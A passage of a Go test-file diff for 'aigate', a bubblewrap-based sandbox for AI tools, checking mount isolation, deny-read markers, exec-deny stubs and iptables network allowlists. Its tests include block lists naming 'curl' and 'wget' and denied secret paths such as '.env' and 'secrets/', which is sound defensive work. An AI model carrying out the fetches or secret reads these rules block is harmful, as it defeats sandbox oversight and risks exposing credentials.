content should contain header") + } +} + +func TestPolicyFileContent_DenyRead(t *testing.T) { + profile := domain.SandboxProfile{ + Config: domain.Config{DenyRead: []string{".env", "secrets/"}}, + } + content := policyFileContent(profile) + if !strings.Contains(content, "deny_read: .env, secrets/") { + t.Errorf("policy content should list deny_read, got:\n%s", content) + } +} + +func TestPolicyFileContent_DenyExec(t *testing.T) { + profile := domain.SandboxProfile{ + Config: domain.Config{DenyExec: []string{"curl", "wget"}}, + } + content := policyFileContent(profile) + if !strings.Contains(content, "deny_exec: curl, wget") { + t.Errorf("policy content should list deny_exec, got:\n%s", content) + } +} + +func TestPolicyFileContent_AllowNet(t *testing.T) { + profile := domain.SandboxProfile{ + Config: domain.Config{AllowNet: []string{"api.example.com"}}, + } + content := policyFileContent(profile) + if !strings.Contains(content, "allow_net: api.example.com") { + t.Errorf("policy content should list allow_net, got:\n%s", content) + } +} + +func TestPolicyFileContent_EmptyProfile(t *testing.T) { + profile := domain.SandboxProfile{} + content := policyFileContent(profile) + // Should not mention any sections when all lists are empty + if strings.Contains(content, "deny_read:") { + t.Error("empty profile should not mention deny_read") + } + if strings.Contains(content, "deny_exec:") { + t.Error("empty profile should not mention deny_exec") + } + if strings.Contains(content, "allow_net:") { + t.Error("empty profile should not mention allow_net") + } +} + +// ── writeTmpFile ───────────────────────────────────────────────────────────── + +func TestWriteTmpFile_CreatesFileWithContent(t *testing.T) { + path, err := writeTmpFile("aigate-test-*", "hello world\n") + if err != nil { + t.Fatalf("writeTmpFile() error = %v", err) + } + defer os.Remove(path) //nolint:errcheck + + data, err := os.ReadFile(path) + if err != nil { + t.Fatalf("ReadFile() error = %v", err) + } + if string(data) != "hello world\n" { + t.Errorf("content = %q, want %q", string(data), "hello world\n") + } +} + +func TestWriteTmpFile_ReturnsUniqueFiles(t *testing.T) { + p1, err := writeTmpFile("aigate-test-*", "a") + if err != nil { + t.Fatalf("first writeTmpFile() error = %v", err) + } + defer os.Remove(p1) //nolint:errcheck + + p2, err := writeTmpFile("aigate-test-*", "b") + if err != nil { + t.Fatalf("second writeTmpFile() error = %v", err) + } + defer os.Remove(p2) //nolint:errcheck + + if p1 == p2 { + t.Error("writeTmpFile() should return unique paths") + } +} + +// ── buildBwrapArgs ─────────────────────────────────────────────────────────── + +func setupBwrapArgsTest(t *testing.T, profile domain.SandboxProfile) ([]string, []string) { + t.Helper() + p := &LinuxPlatform{exec: newMockExecutor()} + var tmp []string + args, err := p.buildBwrapArgs(profile, &tmp) + if err != nil { + t.Fatalf("buildBwrapArgs() error = %v", err) + } + return args, tmp +} + +func cleanupTmp(tmp []string) { + for _, f := range tmp { + os.Remove(f) //nolint:errcheck + } +} + +func TestBuildBwrapArgs_ReadOnlyRoot(t *testing.T) { + profile := domain.SandboxProfile{Config: domain.Config{}, WorkDir: "/tmp"} + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + if !containsTriple(args, "--ro-bind", "/", "/") { + t.Errorf("args should contain --ro-bind / /, got: %v", args) + } + // Must NOT have --bind / / (read-write root) + if containsTriple(args, "--bind", "/", "/") { + t.Errorf("args should NOT contain --bind / / (must be --ro-bind), got: %v", args) + } +} + +func TestBuildBwrapArgs_HomeWritable(t *testing.T) { + tmpHome := t.TempDir() + t.Setenv("HOME", tmpHome) + + profile := domain.SandboxProfile{Config: domain.Config{}, WorkDir: tmpHome + "/project"} + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + if !containsTriple(args, "--bind", tmpHome, tmpHome) { + t.Errorf("args should contain --bind %q %q for writable home, got: %v", tmpHome, tmpHome, args) + } +} + +func TestBuildBwrapArgs_SensitiveDotfilesReadOnly(t *testing.T) { + tmpHome := t.TempDir() + t.Setenv("HOME", tmpHome) + + // Create sensitive dotfiles + for _, name := range []string{".ssh", ".gnupg"} { + if err := os.MkdirAll(tmpHome+"/"+name, 0o700); err != nil { + t.Fatal(err) + } + } + for _, name := range []string{".bashrc", ".gitconfig"} { + writeTestFile(t, tmpHome+"/"+name, "content") + } + + profile := domain.SandboxProfile{Config: domain.Config{}, WorkDir: tmpHome + "/project"} + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + for _, name := range []string{".ssh", ".gnupg", ".bashrc", ".gitconfig"} { + path := tmpHome + "/" + name + if !containsTriple(args, "--ro-bind", path, path) { + t.Errorf("args should contain --ro-bind %q %q for sensitive dotfile", path, path) + } + } +} + +func TestBuildBwrapArgs_WorkdirOutsideHome(t *testing.T) { + tmpHome := t.TempDir() + t.Setenv("HOME", tmpHome) + + workDir := t.TempDir() // separate from home + profile := domain.SandboxProfile{Config: domain.Config{}, WorkDir: workDir} + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + if !containsTriple(args, "--bind", workDir, workDir) { + t.Errorf("args should contain --bind %q %q for workdir outside home, got: %v", workDir, workDir, args) + } +} + +func TestBuildBwrapArgs_TmpfsIsolated(t *testing.T) { + profile := domain.SandboxProfile{Config: domain.Config{}, WorkDir: "/tmp"} + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + if !containsPair(args, "--tmpfs", "/tmp") { + t.Errorf("args should contain --tmpfs /tmp, got: %v", args) + } +} + +func TestBuildBwrapArgs_DevAndProc(t *testing.T) { + profile := domain.SandboxProfile{Config: domain.Config{}, WorkDir: "/tmp"} + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + if !containsPair(args, "--dev", "/dev") { + t.Errorf("args should contain --dev /dev, got: %v", args) + } + if !containsPair(args, "--proc", "/proc") { + t.Errorf("args should contain --proc /proc, got: %v", args) + } +} + +func TestBuildBwrapArgs_NamespaceFlags(t *testing.T) { + profile := domain.SandboxProfile{Config: domain.Config{}, WorkDir: "/tmp"} + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + for _, flag := range []string{"--unshare-pid", "--unshare-user", "--die-with-parent"} { + if !containsFlag(args, flag) { + t.Errorf("args should contain %q, got: %v", flag, args) + } + } +} + +func TestBuildBwrapArgs_ConfigDirHidden(t *testing.T) { + tmpHome := t.TempDir() + t.Setenv("HOME", tmpHome) + + profile := domain.SandboxProfile{Config: domain.Config{}, WorkDir: "/tmp"} + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + expectedConfigDir := tmpHome + "/.aigate" + if !containsPair(args, "--tmpfs", expectedConfigDir) { + t.Errorf("args should have --tmpfs %q, got: %v", expectedConfigDir, args) + } +} + +func TestBuildBwrapArgs_PolicyFileBound(t *testing.T) { + profile := domain.SandboxProfile{Config: domain.Config{}, WorkDir: "/tmp"} + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + if !hasBwrapBindDest(args, "/tmp/.aigate-policy") { + t.Errorf("args should bind a file to /tmp/.aigate-policy, got: %v", args) + } + + // The policy temp file should actually exist and contain the header + for i := 0; i+2 < len(args); i++ { + if args[i] == "--bind" && args[i+2] == "/tmp/.aigate-policy" { + data, err := os.ReadFile(args[i+1]) + if err != nil { + t.Fatalf("policy file %q should be readable: %v", args[i+1], err) + } + if !strings.Contains(string(data), "[aigate] sandbox policy") { + t.Errorf("policy file content = %q, missing header", string(data)) + } + return + } + } +} + +func TestBuildBwrapArgs_DenyReadFile(t *testing.T) { + tmpDir := t.TempDir() + writeTestFile(t, tmpDir+"/secret.txt", "secret") + + profile := domain.SandboxProfile{ + Config: domain.Config{DenyRead: []string{"secret.txt"}}, + WorkDir: tmpDir, + } + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + secretPath := tmpDir + "/secret.txt" + if !hasBwrapBindDest(args, secretPath) { + t.Errorf("args should bind deny marker over %q, got: %v", secretPath, args) + } + + // The bound source should be a file with the deny message + for i := 0; i+2 < len(args); i++ { + if args[i] == "--bind" && args[i+2] == secretPath { + data, err := os.ReadFile(args[i+1]) + if err != nil { + t.Fatalf("deny marker %q should be readable: %v", args[i+1], err) + } + if !strings.Contains(string(data), "[aigate] access denied") { + t.Errorf("deny marker content = %q, missing deny message", string(data)) + } + return + } + } +} + +func TestBuildBwrapArgs_DenyReadDir(t *testing.T) { + tmpDir := t.TempDir() + _ = os.MkdirAll(tmpDir+"/secrets", 0o755) + + profile := domain.SandboxProfile{ + Config: domain.Config{DenyRead: []string{"secrets/"}}, + WorkDir: tmpDir, + } + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + secretsPath := tmpDir + "/secrets" + if !containsPair(args, "--tmpfs", secretsPath) { + t.Errorf("args should have --tmpfs %q for denied dir, got: %v", secretsPath, args) + } +} + +func TestBuildBwrapArgs_DenyReadNonExistent(t *testing.T) { + tmpDir := t.TempDir() + + profile := domain.SandboxProfile{ + Config: domain.Config{DenyRead: []string{"nonexistent.txt"}}, + WorkDir: tmpDir, + } + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + nonexPath := tmpDir + "/nonexistent.txt" + // Non-existent path should not produce a bind or tmpfs entry + if hasBwrapBindDest(args, nonexPath) { + t.Errorf("should not bind non-existent path %q", nonexPath) + } + if containsPair(args, "--tmpfs", nonexPath) { + t.Errorf("should not tmpfs non-existent path %q", nonexPath) + } +} + +func TestBuildBwrapArgs_SharedDenyMarkerForMultipleFiles(t *testing.T) { + tmpDir := t.TempDir() + writeTestFile(t, tmpDir+"/a.txt", "a") + writeTestFile(t, tmpDir+"/b.txt", "b") + + profile := domain.SandboxProfile{ + Config: domain.Config{DenyRead: []string{"a.txt", "b.txt"}}, + WorkDir: tmpDir, + } + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + // Find source paths for both binds + var sources []string + for i := 0; i+2 < len(args); i++ { + if args[i] == "--bind" && (args[i+2] == tmpDir+"/a.txt" || args[i+2] == tmpDir+"/b.txt") { + sources = append(sources, args[i+1]) + } + } + if len(sources) != 2 { + t.Fatalf("expected 2 bind args for 2 files, got %d", len(sources)) + } + // Both files should share the same deny marker (single temp file) + if sources[0] != sources[1] { + t.Errorf("two denied files should share the same deny marker: got %q and %q", sources[0], sources[1]) + } +} + +func TestBuildBwrapArgs_DenyReadHardlink(t *testing.T) { + tmpDir := t.TempDir() + writeTestFile(t, tmpDir+"/secret.txt", "secret-data") + + // Create a hardlink to the secret file + if err := os.Link(tmpDir+"/secret.txt", tmpDir+"/hardlink.txt"); err != nil { + t.Skip("hardlinks not supported on this filesystem") + } + + profile := domain.SandboxProfile{ + Config: domain.Config{DenyRead: []string{"secret.txt"}}, + WorkDir: tmpDir, + } + args, tmp := setupBwrapArgsTest(t, profile) + defer cleanupTmp(tmp) + + // Both the original AND the hardlink should have deny bind mounts + secretPath := tmpDir + "/secret.txt" + hardlinkPath := tmpDir + "/hardlink.txt" + if !hasBwrapBindDest(args, secretPath) { + t.Errorf("args should bind deny marker over %q", secretPath) + } + if !hasBwrapBindDest(args, hardlinkPath) { + t.Errorf("args should bind deny marker over hardlink %q (same inode)", hardlinkPath) + } +} + +func TestBuildBwrapExecDenyArgs_WorkdirBinary(t *testing.T) { + tmpDir := t.TempDir() + blockedBin := tmpDir + "/blocked-tool" + writeTestFile(t, blockedBin, "#!/bin/sh\necho BLOCKED\n") + if err := os.Chmod(blockedBin, 0o755); err != nil { + t.Fatal(err) + } + + profile := domain.SandboxProfile{ + Config: domain.Config{DenyExec: []string{"blocked-tool"}}, + WorkDir: tmpDir, + } + args, tmp, err := buildBwrapExecDenyArgs(profile) + defer cleanupTmp(tmp) + if err != nil { + t.Fatalf("buildBwrapExecDenyArgs() error = %v", err) + } + + // The workdir binary should be covered by a deny bind mount + if !hasBwrapBindDest(args, blockedBin) { + t.Errorf("args should bind deny stub over workdir binary %q, got: %v", blockedBin, args) + } +} + +// ── buildBwrapExecDenyArgs ─────────────────────────────────────────────────── + +func TestBuildBwrapExecDenyArgs_Empty(t *testing.T) { + profile := domain.SandboxProfile{Config: domain.Config{DenyExec: nil}} + args, tmp, err := buildBwrapExecDenyArgs(profile) + if err != nil { + t.Fatalf("buildBwrapExecDenyArgs() error = %v", err) + } + if len(args) != 0 { + t.Errorf("expected empty args, got: %v", args) + } + if len(tmp) != 0 { + t.Errorf("expected no tmp files, got: %v", tmp) + } +} + +func TestBuildBwrapExecDenyArgs_FullBlock(t *testing.T) { + // sh is on every Linux system; use it as a reliable test target. + profile := domain.SandboxProfile{ + Config: domain.Config{DenyExec: []string{"sh"}}, + } + args, tmp, err := buildBwrapExecDenyArgs(profile) + defer cleanupTmp(tmp) + if err != nil { + t.Fatalf("buildBwrapExecDenyArgs() error = %v", err) + } + + if len(args) == 0 { + t.Fatal("expected bind args for 'sh'") + } + if args[0] != "--bind" { + t.Errorf("first arg should be --bind, got %q", args[0]) + } + + // The stub file should exist and be executable + if len(args) >= 2 { + info, err := os.Stat(args[1]) + if err != nil { + t.Errorf("stub file should exist: %v", err) + } else if info.Mode()&0o111 == 0 { + t.Error("stub file should be executable") + } + } + + // Stub should exit 126 and print the deny message + data, err := os.ReadFile(args[1]) + if err != nil { + t.Fatalf("ReadFile() error = %v", err) + } + if !strings.Contains(string(data), "exit 126") { + t.Errorf("stub should exit 126, content: %s", data) + } + if !strings.Contains(string(data), "[aigate] blocked") { + t.Errorf("stub should mention [aigate] blocked, content: %s", data) + } + + if len(tmp) == 0 { + t.Error("should have at least one tmp file") + } +} + +func TestBuildBwrapExecDenyArgs_FullBlock_UnknownCommand(t *testing.T) { + // An unknown command should not produce any bind arg (binary not found). + profile := domain.SandboxProfile{ + Config: domain.Config{DenyExec: []string{"this-binary-does-not-exist-ever"}}, + } + args, tmp, err := buildBwrapExecDenyArgs(profile) + defer cleanupTmp(tmp) + if err != nil { + t.Fatalf("buildBwrapExecDenyArgs() error = %v", err) + } + // The stub is created (len(fullBlocks) > 0), but no --bind because LookPath fails. + // So args should be empty. + if len(args) != 0 { + t.Errorf("unknown command should produce no bind args, got: %v", args) + } +} + +func TestBuildBwrapExecDenyArgs_SubBlock(t *testing.T) { + // "sh -c" is a stable test case: sh is always available. + profile := domain.SandboxProfile{ + Config: domain.Config{DenyExec: []string{"sh -c"}}, + } + args, tmp, err := buildBwrapExecDenyArgs(profile) + defer cleanupTmp(tmp) + if err != nil { + t.Fatalf("buildBwrapExecDenyArgs() error = %v", err) + } + + // Expect at least two bind pairs: origPath→origInSandbox and wrapPath→origPath + if len(args) < 6 { + t.Fatalf("expected at least 6 args (two --bind pairs), got %d: %v", len(args), args) + } + + // origInSandbox should be referenced + if !containsFlag(args, "/tmp/.aigate-orig-sh") { + t.Errorf("args should reference /tmp/.aigate-orig-sh, got: %v", args) + } + + // Find the wrapper file (source of --bind wrapPath resolvedPath). + // Symlinks are resolved for the destination, so use resolveForBwrap. + origPath, _ := exec.LookPath("sh") + resolvedSh := resolveForBwrap(origPath) + var wrapperPath string + for i := 0; i+2 < len(args); i++ { + if args[i] == "--bind" && args[i+1] != origPath && args[i+2] == resolvedSh { + wrapperPath = args[i+1] + } + } + if wrapperPath == "" { + t.Fatalf("could not find wrapper bind (--bind %s), args: %v", resolvedSh, args) + } + + data, err := os.ReadFile(wrapperPath) + if err != nil { + t.Fatalf("wrapper file should be readable: %v", err) + } + wrapContent := string(data) + + if !strings.Contains(wrapContent, "/tmp/.aigate-orig-sh") { + t.Errorf("wrapper should exec /tmp/.aigate-orig-sh, content:\n%s", wrapContent) + } + if !strings.Contains(wrapContent, "-c)") { + t.Errorf("wrapper should contain case arm for '-c', content:\n%s", wrapContent) + } + if !strings.Contains(wrapContent, "exit 126") { + t.Errorf("wrapper should exit 126 for denied subcommand, content:\n%s", wrapContent) + } + + // Wrapper must be executable + info, err := os.Stat(wrapperPath) + if err != nil { + t.Fatalf("os.Stat(wrapper) error = %v", err) + } + if info.Mode()&0o111 == 0 { + t.Error("wrapper file should be executable") + } +} + +func TestBuildBwrapExecDenyArgs_Mixed(t *testing.T) { + // One full block (sh) + one subcommand block (sh -c). + // We use "sh" for both because it's always present. + profile := domain.SandboxProfile{ + Config: domain.Config{DenyExec: []string{"sh", "sh -c"}}, + } + args, tmp, err := buildBwrapExecDenyArgs(profile) + defer cleanupTmp(tmp) + if err != nil { + t.Fatalf("buildBwrapExecDenyArgs() error = %v", err) + } + if len(args) == 0 { + t.Error("expected args for mixed deny_exec config") + } +} + +// ── runWithBwrap ───────────────────────────────────────────────────────────── + +func TestRunWithBwrap_CallsBwrapExecutor(t *testing.T) { + mock := newMockExecutor() + p := &LinuxPlatform{exec: mock} + profile := domain.SandboxProfile{Config: domain.Config{}, WorkDir: "/tmp"} + + _ = p.runWithBwrap(profile, "echo", []string{"hello"}, os.Stdout, os.Stderr) + + if mock.callCount() == 0 { + t.Fatal("expected executor to be called") + } + last := mock.lastCall() + if last.Name != "bwrap" { + t.Errorf("expected bwrap call, got %q", last.Name) + } +} + +func TestRunWithBwrap_CmdArgsAfterSeparator(t *testing.T) { + mock := newMockExecutor() + p := &LinuxPlatform{exec: mock} + profile := domain.SandboxProfile{Config: domain.Config{}, WorkDir: "/tmp"} + + _ = p.runWithBwrap(profile, "mycommand", []string{"--flag", "value with spaces"}, os.Stdout, os.Stderr) + + last := mock.lastCall() + args := last.Args + + separatorIdx := -1 + for i, a := range args { + if a == "--" { + separatorIdx = i + break + } + } + if separatorIdx == -1 { + t.Fatal("bwrap args should contain -- separator") + } + + afterSep := args[separatorIdx+1:] + if len(afterSep) < 3 { + t.Fatalf("expected cmd + 2 args after --, got: %v", afterSep) + } + if afterSep[0] != "mycommand" { + t.Errorf("first arg after -- should be cmd, got %q", afterSep[0]) + } + if afterSep[1] != "--flag" { + t.Errorf("second arg after -- should be --flag, got %q", afterSep[1]) + } + // Arg with spaces must be passed verbatim (no shell splitting). + if afterSep[2] != "value with spaces" { + t.Errorf("third arg after -- should be %q, got %q", "value with spaces", afterSep[2]) + } +} + +func TestRunWithBwrap_CleansTmpFilesAfterRun(t *testing.T) { + mock := newMockExecutor() + p := &LinuxPlatform{exec: mock} + profile := domain.SandboxProfile{ + Config: domain.Config{ + DenyRead: []string{"nonexistent-for-test.txt"}, + }, + WorkDir: t.TempDir(), + } + + _ = p.runWithBwrap(profile, "echo", nil, os.Stdout, os.Stderr) + + // After runWithBwrap returns, extract the policy file path from the recorded + // bwrap call and verify it has been deleted. + last := mock.lastCall() + for i := 0; i+2 < len(last.Args); i++ { + if last.Args[i] == "--bind" && last.Args[i+2] == "/tmp/.aigate-policy" { + policyPath := last.Args[i+1] + if _, err := os.Stat(policyPath); !os.IsNotExist(err) { + t.Errorf("policy temp file %q should be cleaned up after run", policyPath) + } + return + } + } + t.Error("could not find policy file path in bwrap args") +} + +// ── RunSandboxed dispatch (bwrap-aware) ────────────────────────────────────── + +func TestRunSandboxedDispatch_BwrapPreferredOverUnshare(t *testing.T) { + if !hasBwrap() { + t.Skip("bwrap not installed; test covers bwrap dispatch path only") + } + mock := newMockExecutor() + p := &LinuxPlatform{exec: mock} + profile := domain.SandboxProfile{Config: domain.Config{}, WorkDir: "/tmp"} + + _ = p.RunSandboxed(profile, "echo", []string{"hello"}, os.Stdout, os.Stderr) + + if mock.callCount() == 0 { + t.Fatal("expected executor to be called") + } + last := mock.lastCall() + if last.Name != "bwrap" { + t.Errorf("RunSandboxed should prefer bwrap when available, got %q", last.Name) + } +} + +func TestRunSandboxedDispatch_FallsBackToUnshareWhenNoBwrap(t *testing.T) { + if hasBwrap() { + t.Skip("bwrap is installed; test covers unshare fallback path only") + } + mock := newMockExecutor() + p := &LinuxPlatform{exec: mock} + profile := domain.SandboxProfile{Config: domain.Config{}, WorkDir: "/tmp"} + + _ = p.RunSandboxed(profile, "echo", []string{"hello"}, os.Stdout, os.Stderr) + + if mock.callCount() == 0 { + t.Fatal("expected executor to be called") + } + last := mock.lastCall() + if last.Name != "unshare" { + t.Errorf("RunSandboxed should fall back to unshare when bwrap absent, got %q", last.Name) + } +} + +// ── buildNetOnlyScript ─────────────────────────────────────────────────────── + +func TestBuildNetOnlyScript_HasNetworkSetup(t *testing.T) { + script := buildNetOnlyScript(nil, nil, "echo", []string{"hello"}) + + for _, want := range []string{ + "mount --make-rprivate /", + "ip addr show tap0", + "nameserver 10.0.2.3", + "iptables -A OUTPUT -o lo -j ACCEPT", + "iptables -A OUTPUT -j REJECT", + "exec echo hello", + } { + if !strings.Contains(script, want) { + t.Errorf("buildNetOnlyScript should contain %q, got:\n%s", want, script) + } + } +} + +func TestBuildNetOnlyScript_HasNoAigateMarkers(t *testing.T) { + // bwrap handles policy/mount/exec isolation — the net-only script should not. + script := buildNetOnlyScript(nil, nil, "echo", nil) + + for _, forbidden := range []string{ + "aigate-policy", + "aigate-denied", + "aigate-deny-exec", + } { + if strings.Contains(script, forbidden) { + t.Errorf("buildNetOnlyScript should NOT contain %q (bwrap handles this), got:\n%s", forbidden, script) + } + } +} + +func TestBuildNetOnlyScript_AllowNetRules(t *testing.T) { + script := buildNetOnlyScript( + []string{"api.anthropic.com", "1.2.3.4"}, + []string{"8.8.8.8"}, + "echo", nil, + ) + + if !strings.Contains(script, `getent ahostsv4 "api.anthropic.com"`) { + t.Error("should resolve api.anthropic.com via getent inside namespace") + } + if !strings.Contains(script, `getent ahostsv4 "1.2.3.4"`) { + t.Error("should include raw IP via getent") + } + if !strings.Contains(script, "iptables -A OUTPUT -d 8.8.8.8 -j ACCEPT") { + t.Error("should allow upstream DNS server 8.8.8.8") + } + if !strings.Contains(script, "iptables -A OUTPUT -p udp --dport 53 -j ACCEPT") { + t.Error("should allow UDP DNS") + } +} + +func TestBuildNetOnlyScript_ArgWithSpaces(t *testing.T) { + // Verify that shellEscape fix propagates: args with spaces are quoted. + script := buildNetOnlyScript(nil, nil, "python3", []string{"my script.py"}) + if !strings.Contains(script, "'my script.py'") { + t.Errorf("arg with spaces should be single-quoted in net-only script, got:\n%s", script) + } +} + +// ── appendBwrapNetArgs / runWithBwrapNetFilter ─────────────────────────────── +// +// runWithBwrapNetFilter uses exec.Command directly (not the mock Executor) +// because it needs Start/Wait + ExtraFiles for the info-fd pipe. Tests verify +// the arg construction helpers rather than the executor call. + +func TestAppendBwrapNetArgs_HasUnshareNetAndInfoFd(t *testing.T) { + args := appendBwrapNetArgs(nil, []string{"example.com"}, []string{"8.8.8.8"}, "echo", []string{"hi"}) + + if !containsFlag(args, "--unshare-net") { + t.Errorf("args should contain --unshare-net, got: %v", args) + } + if !containsPair(args, "--info-fd", "3") { + t.Errorf("args should contain --info-fd 3, got: %v", args) + } +} + +func TestAppendBwrapNetArgs_InnerScriptPassedToSh(t *testing.T) { + args := appendBwrapNetArgs(nil, []string{"example.com"}, nil, "echo", []string{"hello"}) + + sepIdx := -1 + for i, a := range args { + if a == "--" { + sepIdx = i + } + } + if sepIdx == -1 { + t.Fatal("args should contain -- separator") + } + afterSep := args[sepIdx+1:] + if len(afterSep) < 3 || afterSep[0] != "sh" || afterSep[1] != "-c" { + t.Errorf("expected 'sh -c